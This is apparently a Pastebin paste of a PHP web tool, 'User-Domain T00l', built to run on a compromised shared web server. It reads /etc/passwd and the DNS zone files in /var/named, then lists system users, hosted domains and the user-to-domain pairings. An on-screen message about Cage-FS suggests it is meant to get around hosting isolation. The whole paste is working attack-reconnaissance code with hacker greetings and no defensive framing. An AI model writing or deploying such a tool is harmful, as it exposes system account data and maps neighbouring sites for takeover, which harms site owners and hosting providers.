Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title> User-Domain T00l </title>
- <link rel="shortcut icon" href='http://www.rsyncit.com/images/whm-icon.png' />
- <meta http-equiv=Content-Type content=text/html; charset=UTF-8>
- </head>
- <body bgcolor="#34282C">
- <center>
- <p><span lang="en-us"><font color="#4CC417" size="5">User - Domain T00l By ali ahmady </font>
- </span></p>
- <p><img src="http://www.iconhot.com/icon/png/coded/512/page-php.png" height="120" width="120"/></p>
- <form method="POST" action="" align="center">
- <p><font color="red" size="4"> Get User List </font></p>
- <input type="submit" name="user" value="Get!"/>
- <p><font color="red" size="4"> Get Domain List </font></p>
- <input type="submit" name="domain" value="Get!"/>
- <p><font color="red" size="4"> Get User And Domains </font></p>
- <input type="submit" name="usdo" value="Get!"/>
- </form>
- </td></tr></table></p>
- </form>
- <!--/exp-->
- </center>
- <?php
- echo "
- <center><table>";
- $files = glob('/var/named/*.db');
- $passwd = explode("\n",file_get_contents('/etc/passwd'));
- if(isset($_POST['usdo']))
- {
- echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
- foreach($files as $file)
- {
- $domain=str_replace(".","",substr($file,11,5));
- foreach($passwd as $pwd)
- {
- $user = str_replace(":","",substr($pwd,0,5));
- if($user == $domain)
- {
- $site = substr($file,11,-3);
- $pw = strstr($pwd,":", true);
- echo "<tr>";
- echo "</p><font color=\"#E5E4E2\">";
- echo "<td align=\"center\"><a href=http://$site/ style=\"color: #CC0000\">$site</a></td>";
- echo "<td align=\"center\">$pw </td>";
- echo "</font></p>";
- echo "</tr>";
- }
- }
- }
- echo "</table>";
- }
- else if(isset($_POST['domain']))
- {
- echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
- foreach($files as $file)
- {
- $site = substr($file,11,-3);
- echo "<tr>";
- echo "</p><font color=\"#E5E4E2\">";
- echo "<td align=\"center\"><a href=http://$site/ style=\"color: #CC0000\">$site</a></td>";
- echo "</font></p>";
- echo "</tr>";
- }
- echo "</table>";
- echo "</p><font color=\"#E5E4E2\">";
- echo "----------------------------------------------------<br />";
- echo "total = ".count($files) . "<br />";
- echo "</font></p>";
- if(count($files) == 0)
- {
- echo "</p><font color=\"#E5E4E2\">";
- echo "Cage-FS or /var/named is not readable!";
- echo "</font></p>";
- }
- }
- else if(isset($_POST['user']))
- {
- echo "<table border=\"1\" align=\"center\" bgcolor=\"#FFA500\">";
- foreach($passwd as $pwd)
- {
- $user = str_replace(":","",substr($pwd,0,5));
- $u = strstr($pwd,":", true);
- echo "<tr>";
- echo "</p><font color=\"#E5E4E2\">";
- echo "<td align=\"center\">$u</td>";
- echo "</font></p>";
- echo "</tr>";
- }
- echo "</table>";
- }
- echo "</table></center>";
- ?>
- <center>
- <p><span lang="en-us"><font color="#4CC417" size="2">Greetz: b0x - pHaNtOm_X </font>
- </span></p>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement